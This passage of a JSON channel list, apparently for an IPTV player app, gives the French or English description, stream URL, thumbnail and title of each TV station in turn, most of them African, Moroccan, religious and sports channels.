années. Par contre, dans certaines préfectures, malgré la réception des signaux, faute d’énergie, les populations sont privées des émissions de la RTG, a-t-on constaté.","sources":["http://178.33.237.146/rtg.m3u8"],"subtitle":"By Blender Channel","thumb":"http://maliactu.info/wp-content/uploads/2019/08/rtg-radio-television-guineenne.png","title":"Radio Television Guinéenne "},{"description":"MTA Africa 1 (anciennement MTA Africa) est la quatrième chaîne de télévision par satellite du réseau MTA International. Il a été lancé début août 2016, diffusant spécifiquement pour les téléspectateurs africains, à travers l'Afrique et l'Europe. La chaîne a été créée sous les auspices de Mirza Masroor Ahmad, le chef spirituel de la communauté musulmane Ahmadiyya. MTA Africa est géré et financé volontairement par les Ahmadis.","sources":["https://ooyalahd2-f.akamaihd.net/i/mtaengaudio_delivery@138280/index_3000_av-p.m3u8"],"subtitle":"By Blender Channel","thumb":"https://pbs.twimg.com/profile_images/950498775893774338/XKhzDO2.jpg","title":"MTA AFRICA"},{"description":"L’Office de Radiodiffusion et Télévision du Bénin (ORTB) est le service public de l’audiovisuel du Bénin. C’est un établissement public à caractères social, culturel et scientifique doté de la personnalité morale et de l’autonomie financière. ORTB, pas sans vous !/ Tél: +229 21 30 00 48/ Whatsapp: +229 69 70 55 55/ Email: contact@ortb.bj","sources":["http://51.77.223.83/ortb.m3u8"],"subtitle":"By Channel","thumb":"https://www.lavoixduconsommateur.org/images/services/1533219563.jpg","title":"ORTB / Bénin"},{"description":"Dream Channel est une chaine télévisée ematant au cameroune qui diffuse de la musique de toutes tendances.","sources":["http://connectiktv.ddns.net:5000/dreamchannel/dreamchannel/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://connectik.tv/wp-content/uploads/2019/06/c1b45634-2f8c-47e7-8849-e6d7ea620465-300x169.jpg","title":"DREAM CHANNEL TV / Cameroune"},{"description":"Canal Algérie est la deuxième chaîne de télévision nationale grand public algérienne. La chaîne fait partie du groupe EPTV qui comprend également TV1, TV3, TV4, TV5, TV6 et TV7. C'est une chaîne francophone. La chaîne diffuse ses programmes 24h / 24 et 7j / 7 via différentes plateformes et partout dans le monde.","sources":["http://46.105.114.82/canal_algerie.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/2/22/Logo_Canal_Algerie.svg/800px-Logo_Canal_Algerie.svg.png","title":"Canal Algerie"},{"description":"Radio Télévision Sénegalaise est une station de radio diffusée sur le réseau de Radiodiffusion Télévision Sénégalaise (RTS1 HD) de Dakar, au Sénégal, fournissant des informations, des sports, des débats, des émissions en direct et des informations sur la culture ainsi que la musique.","sources":["http://46.105.114.82/rts1.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/VZyPxURRRo-C0lEWHggT8C-dDJvFNFTVxKrn1yKUNROoT85XnOl9VcmM5HFzyRDwvgs","title":"Radio Télévision Sénegalaise 1 HD"},{"description":"Kalsan est une chaîne de télévision Somalienne dont le siège est à Londres. Elle a commencé à diffuser en 2013. La chaîne est axée sur les Somaliens. La programmation est principalement axée sur les actualités et les divertissements.","sources":["http://cdn.mediavisionuae.com:1935/live/kalsantv.stream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://xogdoonnews.net/wp-content/uploads/2017/11/kalsan-tv.jpg","title":"KALSAN TV / Somalie"},{"description":"One Africa Television est une chaine de television namibien crée en 2003 et couvrant à l'origine uniquement Windhoek, Rehoboth et Okahandja, One Africa Television a connu une croissance significative, avec son signal diffusé via 29 émetteurs analogiques à travers la Namibie. En 2013, One Africa Television a rejoint l'ère numérique, et la chaîne est depuis disponible sur le réseau de télévision numérique terrestre de la Namibian Broadcasting Corporation (Channel 301) ainsi que sur la plateforme DStv Namibia de MultiChoice (Channel 284) ainsi que sur le réseau numérique terrestre GoTV de MultiChoice. Président du groupe d'Africa Television, Paul van Schalkwyk, a été tué dans un accident d'avion le 10 mars 2014.","sources":["https://za-tv2a-wowza-origin02.akamaized.net/oneafrica/smil:oneafrica/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://neweralive.na/uploads/2016/11/Untitled-1.jpg","title":"ONE AFRICA TV / Namibia"},{"description":"VISION4 TV est une chaine television panafricanisme Camerounais crée en 2008. qui diffuse des Émissions hauts de gamme telsque : Afro Café, Matinale infos, le journal d'afrique, tour d'horizon, journal de 12, women's story, The 6h00 pm news, Let's talk, Meeting point le grand live, le grand journal de 20h, santé spirituelle, sport time, Arrêt majeur, Au cœur du mystère, parole d'artistes, Femme attitude, Panafritude, Rendez-vous santé, afro zik, Club d'élites, Plateau du Jaguar, Dimanche bonheur, face aux dinosaures. Vision 4 Le Groupe Anecdote Vision 4 TV, Satelite FM, Africa Express Siège social : Yaoundé - Cameroun (Nsam) Secrétariat PDG : Tel : +237 242 71 88 13 / Fax : +237 222 31 67 81 Service de l'information : Tel : +237 242 71 87 68 Yaoundé Centre B.P 25070 Cameroun","sources":["http://cdnamd-hls-globecast.akamaized.net/live/ramdisk/vision4/hls_video/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/Vision_4.jpg/600px-Vision_4.jpg","title":"VISION 4"},{"description":"Nago TV is a Haitian television channel 100% devoted to music videos(Compass, Rap Creole, Racine).","sources":["http://haititivi.com:8088/haititv/tele6NY/index.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/GdAVtX7AU8834RaKoUC4c3itv2A_R1k8XATBf26G_IgQKnvxEtAew0cJOr_kWOpWkpY","title":"NAGO TV / Haiti"},{"description":"Lagos Television has been a trail blazer right from inception. Apart from being the first TV station outside the NTA family, the station took the Nigerian TV industry by storm in the early 80s with the introduction of a 60-hour non stop weekend from 7pm on Fridays till 7am on Mondays. The then Lagos weekend Television was the first marathon TV station in Africa. It’s unprecedented public approval transformed TV viewership especially within the Lagos precinct and brought a change in the call sign LTV/LWT.","sources":["http://185.105.4.193:1935/ltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lagostelevision.com/wp-content/uploads/2015/10/logo.png","title":"Lagos Television"},{"description":"Emmanuel TV is the television station of The Synagogue, Church Of All Nations, broadcasting 24/7 around the globe via satellite and on the internet. The purpose of Emmanuel TV is to preach the Good News to all mankind. That is what we are born for, living for and what we shall die for. Emmanuel TV is committed to changing lives, changing nations and changing the whole world through the Gospel of our Lord Jesus Christ. Jesus Christ is the inspiration behind Emmanuel TV; as such, God’s purpose is our purpose.","sources":["https://api.new.livestream.com/accounts/23202872/events/7200883/live.m3u8"],"subtitle":"By Channel","thumb":"https://scoan-website-emmanueltv.netdna-ssl.com/wp-content/blogs.dir/12/files/2016/09/emmanuel_tv_icon.png","title":"Emmanuel TV"},{"description":"Addis TV is a City Channel based in Addis Ababa, Ethiopia, which broadcasts News and Programs 24/7.","sources":["https://rrsatrtmp.tulix.tv/addis1/addis1multi.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://et.heytv.org/wp-content/uploads/2019/04/Addis-webtvonlive-com.jpg","title":"Addis TV / Ethiopia"},{"description":"Resurrection TV is a Christian based station aimed at uplifting your soul with an unadulterated word of God. it ensures a distinction between sin and righteousness.","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/f5/ae/9ef5aeb5c1ddd05a20d27faaf5d9b931.jpg","title":"Résurrection TV/ Ghana"},{"description":"CTV frique est une television camerounaise basee a yaounde.","sources":["http://connectiktv.ddns.me:8080/ctv-africa/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/01/CTV-1-300x212.jpeg","title":"CTV AFRICA"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["http://connectiktv.ddns.me:8080/afriqueplustv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/07/NEW-LOGO0047_00000_00000-300x169.png","title":"AFRICA PLUS TV "},{"description":"1 ok.","sources":["http://connectiktv.ddns.me:8080/mygospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mygospel-300x140.png","title":"MY GOSPEL TV"},{"description":"2 ok.","sources":["http://connectiktv.ddns.me:8080/media-prime/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myprime15-300x140.png","title":"MEDIA PRIME TV"},{"description":"3 ok.","sources":["http://connectiktv.ddns.me:8080/mymusic/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mymusic1.png","title":"MY MUSIC TV "},{"description":"4 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-en/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myenglish-300x140.png","title":"MY MOVIE TV / English"},{"description":"5 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-fr/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myfresh-300x140.png","title":"MY MOVIE TV / Francais"},{"description":"6 ok","sources":["http://connectiktv.ddns.me:8080/bikutsitv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/09/bikutsi-300x63.jpeg","title":"BIKUTSI TV"},{"description":"7 ok.","sources":["http://connectiktv.ddns.me:8080/cam10tv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/07/CAM10-REVUE.jpg","title":"CAM 10 TV / Cameroune"},{"description":"8 ok.","sources":["http://connectiktv.ddns.me:8080/leadergospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/leader-cable.jpg","title":"LEADER GOSPEL TV / Religion"},{"description":"9 ok.","sources":["http://connectiktv.ddns.me:8080/vstv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/VS-TV-300x168.jpg","title":"VS tv"},{"description":"10 0k.","sources":["http://connectiktv.ddns.me:8080/mytv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/mytv-channel-hd-300x169.jpg","title":"MY TV CHANNEL"},{"description":"Radio Tele Puissance est une chaine chrétienne qui diffuse en direct des programmes chrétien avec des vidéos et des films Gospel de premier ordre, des documentaires. radio Tele Puissance est une station très divertissante..","sources":["https://video1.getstreamhosting.com:1936/8560/8560/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://radioendirect.net/assets/images/radio/item/119251.jpg","title":"Radio Tele Puissance"},{"description":"Christ live est une chaine télévision de divertissement chrétienne disponible sur le satellite.","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/Cliv.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/christ-tv_logo.jpg","title":"CHRIST TV / Religion"},{"description":"QTV Gambia is the First Private Television Station","sources":["https://player.qtv.gm/hls/live.stream.m3u8"],"subtitle":"By Channel","thumb":"https://standard.gm/wp-content/uploads/2020/08/QTV-696x495.jpg","title":"QTV / Gambia"},{"description":"TVM International, or TVM Internacional, is the international channel of Mozambique's national TV broadcaster, Televisão de Moçambique (TVM), broadcasting for 24 hours per day. The channel will showcase local programming featuring Mozambican culture, tourism and sports.","sources":["http://196.28.226.121:1935/live/smil:Channel2.smil/chunklist_b714000_slpor.m3u8"],"subtitle":"By Channel","thumb":"https://clubofmozambique.com/wp-content/uploads/2020/03/tvmint.rm.jpg","title":"TVM Internacional"},{"description":"K24 TV est une chaine de télévision généraliste Kényane fondée en 2007 basé à Longonot Place, P. O. Box 49640 Kijabe St Tél : +254 20 2124801. K24 TV diffuse sur la télévision terrestre et en streaming sur Dailymotion et sur son site internet..","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/K24.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/k24-tv_logo.jpg","title":"K24 TV / Kenya"},{"description":"Afrobeat tv is a division of kaycee records .Kaycee Records is an independent record label established in the United Kingdom, and Nigeria Owned by Kennedy Kesidi Richard from Oguta in Imo State Nigeria .Afro beat tv is the new musical innovation to promote African art and and as a platform to promote and create awareness for up coming African artist all around the globe","sources":["http://connectiktv.ddns.net:8080/afrobit/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/05/AFROBIT-png-300x168.png","title":"AFROBITS / Music"},{"description":"Dunamis International Gospel Centre (DIGC) Jos Central is a powerfully anointed church, where God's Presence and power are saving, healing and restoring human destinies and dignities! Located in Alheri, Jos, Plateau State with HQT in Abuja Nigeria. Dunamis (Doo'na-mis) is the Greek word that means POWER.","sources":["https://christianworld.ashttp9.visionip.tv/live/visiontvuk-religion-dunamistv-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/ng-dunamis-tv-2163-300x225.jpg","title":"DUNAMIS TV / Religion"},{"description":"France tv sport, c’est d’abord l’actualité de TOUS les sports. De l’analyse en temps réel, du live ou encore des replays vidéo sont disponibles à tout moment. Enrichissez votre expérience et plongez au cœur de l'actualité du sport.","sources":["https://streamserv.mytvchain.com/sportenfrance/SP1564435593_720p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://liberador.net/media/images/FranceTv_Sport.max-640x640.jpg","title":"SPORTS FRANCE TV"},{"description":"Darut Tarbiyah La télévision en direct du Réseau islamique de Trinité-et-Tobago Chaîne de télévision religieuse / Darut Tarbiyah Le Réseau islamique (T.I.N.) est une chaîne de télévision câblée locale de Trinité-et-Tobago diffusant des programmes islamiques. La station est transportée sur le canal 96 ou 116 sur le système de câble Flow Trinidad. DARUT TARBIYAH - LE RÉSEAU ISLAMIQUE. Darut Tarbiyah Drive, Ramgoolie Trace North, Cunupia, Trinidad Antilles. Tél: (868) 693-1722, 693-1393","sources":["http://162.244.81.145:2215/live/livestream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://theislamicnetwork.org/wp-content/uploads/musicpro/bd-uploads/logo_logo_TIN-Logo-White-Text.png","title":"THE ISLAMIC NETWORK"},{"description":"D Sports HD est une chaine qui se fcalise sur les Sports en General : WWE, BOX, Football: Ligue brésilienne, Super League chinoise, Ligue portugaise, Major League Soccer (USA) Courses hippiques: courses quotidiennes diffusées en direct du Royaume-Uni et d'Irlande Golf: British Open (The Open Championship), US Open, PGA Championship, LPGA Motorsports: NASCAR, Championnat du Monde de Rallycross FIA Rugby: 6 Nations Rugby Cyclisme: Tour de France (propriété d'Eurosport).","sources":["http://jiocgehub.jio.ril.com/Dsports_HD/Dsports_HD.m3u8?fluxustv.m3u8"],"subtitle":"By Channel","thumb":"https://kccl.tv/sites/default/files/dsportjpg.jpg","title":"D Sports TV"},{"description":"Africa Sports TV est la première chaîne francophone d’information en continue de sport en Afrique. C’est un média fédérateur des sports africains. On parle de compétition locales, des ligues nationales sur toutes les disciplines du continent, dont le basketball, le football, la lutte… Il y aura beaucoup de lutte, qui prend un essor important sur le continent. Il y a tout un lobby autour de la lutte. Africa Sports TV est disponible Sur Le Canal 56 de la BbOX – Sur Le Canal 614 du Bouquet Africain Max de TV ORANGE.","sources":["https://strhls.streamakaci.tv/str_africasportstv_africasportstv/str_africasportstv_multi/str_africasportstv_africasportstv/str_africasportstv_player_1080p/chunks.m3u8"],"subtitle":"By Channel","thumb":"https://pbs.twimg.com/profile_images/1215646342812401668/SOnvVloX_400x400.jpg","title":"Africa Sports TV"},{"description":"Real Madrid TV est une chaîne de télévision numérique gratuite, exploitée par le Real Madrid, spécialisée dans le club de football espagnol. La chaîne est disponible en espagnol et en anglais. Il est situé à Ciudad Real Madrid à Valdebebas (Madrid), le centre de formation du Real Madrid.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hwebes_1@300661/index_3_av-b.m3u8"],"subtitle":"By Channel","thumb":"https://files.cults3d.com/uploaders/13539675/illustration-file/9c08780f-eb52-427b-aad7-b0a8c0fb83a1/real_madrid_ref1_large.JPG","title":"Real Madrid TV"},{"description":"Real Madrid Club de Fútbol, ce qui signifie Royal Madrid Football Club), communément appelé Real Madrid, est un club de football professionnel espagnol basé à Madrid. Fondé le 6 mars 1902 sous le nom de Madrid Football Club, le club porte traditionnellement un maillot blanc à domicile depuis sa création. Le mot réel est espagnol pour royal et a été accordé au club par le roi Alfonso XIII en 1920 avec la couronne royale dans l'emblème. L'équipe a disputé ses matchs à domicile dans le stade Santiago Bernabéu d'une capacité de 81 044 places au centre-ville de Madrid depuis 1947.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hweben_1@300662/master.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/e4/de/18/e4de1869c0eba3beab9ffc9d01660e65.jpg","title":"Real Madrid TV"},{"description":" EPT SPORTS HD est la nouvelle chaîne exclusivement sportive de l’audiovisuel public, ERT Sports HD, sa première officielle à 06h00 le matin du samedi 9 février 2019.","sources":["https://ert-live.siliconweb.com/media/ert_sports/ert_sportshigh.m3u8"],"subtitle":"By Channel","thumb":"https://png.pngitem.com/pimgs/s/681-6814150_ert-sports-hd-logo-ert-sports-hd-hd.png","title":"EPT Sports HD"},{"description":"Sports Tonight Live, branded simply as Sports Tonight, was a British television show and channel, owned by VISION247 based in Central London. It was launched online on 29 August 2011.","sources":["http://sports.ashttp9.visionip.tv/live/visiontvuk-sports-sportstonightlive-hsslive-25f-4x3-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://embeddedplayer.visionip.tv/portals/Sports_Tonight_Live/Sports_Tonight_Live/overlay_logos/Sports%20Tonight%20Live-plBackground-1308.png","title":"Sports Tonight"},{"description":"Arryadia HD TV est une chaîne sportive de télévision publique marocaine. Il fait partie du groupe public SNRT avec Al Aoula, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 16 septembre 2006. Arryadia est le diffuseur officiel de la ligue marocaine Botola.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arriadia/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://4.bp.blogspot.com/-lnh_8LWuXaw/WZ09LDkMsZI/AAAAAAAAEeI/9FKtxdQjbl4UVqmZjqN4R-fE9uOLG2ccQCLcBGAs/s1600/FB_IMG_1503465850383.jpg","title":"Arryadia TV / Maroc"},{"description":"Assadissa TV est une chaîne de télévision publique marocaine dédiée aux affaires religieuses. Il fait partie du groupe public SNRT avec Al Aoula, Arryadia, Athaqafia, Al Maghribia, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 3 novembre 2005. Outre les lectures du Coran, il existe également des programmes de services religieux, de débats et de documentaires. Il est diffusé tous les jours de 2h00 à 23h00. Le samedi, il est de 6h00 à 21h00.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/assadissa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7e/Assadissa.png","title":"Assadissa TV/ Maroc"},{"description":"Al Aoula, anciennement appelée TVM (Télévision marocaine, arabe: ??????? ????????), est la première chaîne de télévision publique marocaine. Il fait partie du groupe public SNRT avec Arryadia, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. Le réseau diffuse des programmes en arabe, berbère, français et espagnol. Son siège est situé à Rabat. Lancé en 1962, Al Aoula a été le premier réseau de télévision à produire et à diffuser ses propres programmes dans le pays. En 1962, il a commencé des émissions en couleur.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/al_aoula_inter/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://live.staticflickr.com/1853/44065447112_7a93bb434f.jpg","title":"Al Aoula TV/ Maroc"},{"description":"2M TV est une chaîne de télévision marocaine gratuite. Il a été créé par le conglomérat royal, ONA, avant d'être en partie vendu à l'État marocain. 20,7% de 2M appartiennent à la société holding de Mohammed VI SNI. Alors qu'environ 60% sont contrôlés par l'État marocain. Il est basé à Casablanca. Il est disponible gratuitement localement sur signal numérique avec une couverture sur tout le Maroc et sur la télévision par satellite via Globecast, Nilesat et Arabsat. 2M propose des services en arabe, français et berbère.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/2m_monde/hls_video_ts/2m_monde.m3u8"],"subtitle":"By Channel","thumb":"https://caidal.ma/wp-content/uploads/2019/04/ob_febd69_2-m-maroc-en-ligne.jpg","title":"2M TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Tele Maroc est la nouvelle chaîne satellitaire généraliste marocaine créée par rachid Niny. Siège à Madrid. « C’est donc une chaéne de télévision légalement espagnole avec un contenu marocain.","sources":["https://api.new.livestream.com/accounts/27130247/events/8196478/live.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/1d/b5/9e1db51201d4debce634f6e8b44a2424.jpg","title":"Tele Maroc"},{"description":"Tamazinght TV est une chaîne de télévision publique marocaine créée le 6 janvier 2010, propriété de la Société nationale de radiodiffusion et de télévision. La chaîne a pour objectif la promotion et la préservation de la culture amazighe au Maroc et dans la région de l'Afrique du Nord. en langue berbère. 70% en tashelhit, tarifit et tamazight (les 3 variantes du berbère du Maroc), le reste en arabe.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/tamazight_tv8_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"http://hub.tv-ark.org.uk/images/International/international_images/morocco_images/tamazight/Tamazight_TV_ident4_060912a.jpg","title":"Tamazight TV / Maroc"},{"description":"EMCI TV est une chaîne de télévision chrétienne évangélique francophone. Les studios de la chaîne se trouvent dans la ville de Québec, Canada. Le contenu de la programmation est assez varié et provient de divers pays francophones d’Afrique, d’Europe et d’Amérique. Des clips musicaux, des enseignements bibliques, des prédications, la Bible en vidéo, des temps de prière, des reportages, des documentaires, des films ainsi que des séries y sont présentés.","sources":["https://emci-fr-hls.akamaized.net/hls/live/2007265/emcifrhls/index.m3u8"],"subtitle":"By Channel","thumb":"https://www.enseignemoi-files.com/site/view/images/dyn-cache/pages/image/img/23/62/1522940482_236277_1200x630x1.f.jpg?v=2018021301","title":"EMCI TV / Religion"},{"description":"CIS TV est une chaine tv guinéen consacré au sport et à la culture. basée à Conakry, fondé en 2016 par Mamadou Antonio Souaré. CIS TV est diffuse via le satellite Fréquence Tv 3689: Symbole 1083: Satelite eutelsat 10a ZONES DE DIFFUSION : tiers d'Afrique.","sources":["http://51.81.109.113:1935/CDNLIVE/CISTV/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.senegal7.com/wp-content/uploads/2019/03/f9180cb9286c49c4f3a6c793798b9ddf.png","title":"CIS TV / Guinee"},{"description":"Faso TV est une initiative de Magic Communication et Médias, une société à responsabilité limitée basée à Ouagadougou, capitale du Burkina Faso. C’est une chaîne de télévision en ligne destinée à l’événementiel. Nous entendons par événementiel toutes manifestations ou activités à caractère culturel, économique, éducatif ou sportif dont l’objectif est de susciter la mobilisation, l’adhésion, l’engouement de la population ou d’un public cible au plan local, national ou international. Autrement dit, notre stratégie éditoriale consiste à faire la promotion de toutes activités qui contribuent au développement socio-économique et culturel, à l’éducation, au divertissement et au bien être de la population burkinabé et de sa diaspora.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/163893638025530331068059.m3u8"],"subtitle":"By Channel","thumb":"https://fasotv.net/wp-content/uploads/2019/10/logo-final-sans-slogan.png","title":"FASO TV / Burkina Fasso "},{"description":"Plex tv une chaîne généraliste spécialisé dans la retransmissions des événement. émission et qui diffuse aussi des films, musiques, divertissement, sport, magasine etc et une multitude de programme en haute définition.","sources":["http://connectiktv.ddns.net:5000/plextv/@plextv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lifetimepremiumaccounts.com/wp-content/uploads/2019/03/plex-logo.jpg","title":"PLEX TV / "},{"description":"PLAY TV est une chaine de télévision musicale Camerounaise basée à Yaoundé, elle diffuse un programme 100% musicale la musique d’ici et d’ailleurs en haute définition..","sources":["http://connectiktv.ddns.net:5000/playtv/@playtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/logo-play-tv-300x113.jpg","title":"PLAT TV / Cameroune "},{"description":"TVR Rennes 35 Bretagne est une chaîne de télévision locale née en mars 1987 sous le nom de TV Rennes. TVR Rennes 35 Bretagne fut inaugurée à son lancement par le président de la République, elle fut la première télévision locale créée en France elle est diffusée Canal 35 sur la TNT / Canal 30 sur Orange, Freebox et BBox / Canal 95 sur Numéricable et en direct streaming sur son site Internet.","sources":["https://streamtv.cdn.dvmr.fr/TVR/ngrp:tvr.stream_all/master.m3u8"],"subtitle":"By Channel","thumb":"https://w0.pngwave.com/png/890/19/tvr-tv-rennes-35-logo-television-channel-tvr-t350-png-clip-art.png","title":"Rennes TV / France Sports "},{"description":"Chaîne franco-marocaine basée à Tanger et destinée au Maghreb. Programmation culturelle avec information, reportages et documentaires. En arabe et en Français. Fin 2010, elle a également commencé à diffuser à la télévision analogique terrestre au Maroc, en plus de la télévision numérique par satellite. Il a été rebaptisé Medi 1 TV.","sources":["http://streaming.medi1tv.com/live/Medi1tvmaghreb.sdp/chunklist.m3u8"],"subtitle":"By Channel","thumb":"http://www.logotypes101.com/logos/807/C85CC3231EAD10CEC61C182C7DED072D/medi1tvlogo.png","title":"Medi 1 TV / Maroc"},{"description":"M24 Television est la chaîne d’info en continu de l’agence marocaine de presse (MAP). Une chaîne qui couvre l’actualité marocaine et internationale. Une chaîne fidèle aux valeurs de la MAP qui est le premier producteur d'information au Maroc. Le fil de la MAP se décline en cinq langues : Arabe, Amazighe, Français, Anglais et Espagnol. la MAP présente dans toutes les régions du Royaume et dans les cinq continents, elle fournit tous les médias en informations, reportages, analyses et portraits.","sources":["https://www.m24tv.ma/live/smil:OutStream1.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is5-ssl.mzstatic.com/image/thumb/Purple114/v4/e4/c6/3e/e4c63e4e-b8ff-a14e-cacd-3593f09c1f78/source/512x512bb.jpg","title":"M24 TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Al-Fath channel is the property of Sheikh Ahmed Awad Abdo, and is considered the satellite channel of the Islamic religious channels that follow the Sunnah, and offers a series of programs interpretation for the Quran Al-Kareem, and many true prophetic and the CEO is Prof. Ahmed Abdou Awad, the Islamic Scholar.","sources":["https://svs.itworkscdn.net/alfatehlive/fatehtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-alfath-tv.jpg","title":"Al Fath TV / Egypte"},{"description":"Al Hayah started broadcasting in 2008 during the last years of Mubarak's rule, which saw a revival in the ownership of the media. It was founded by businessman El Sayed El Badawi as part of Al Hayah Channels Network. El Badawi assumed the presidency of the Wafd Party from May 2010 until March 2018. El Badawi is one of the businessmen who played political roles in addition to owning media outlets, such as Al Dostor (link to profile). ","sources":["http://media.islamexplained.com:1935/live/_definst_mp4:ahme.stream_360p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/474x/76/1a/a4/761aa46eb54c24d21ca5866f21442426.jpg","title":"Al hayat TV / 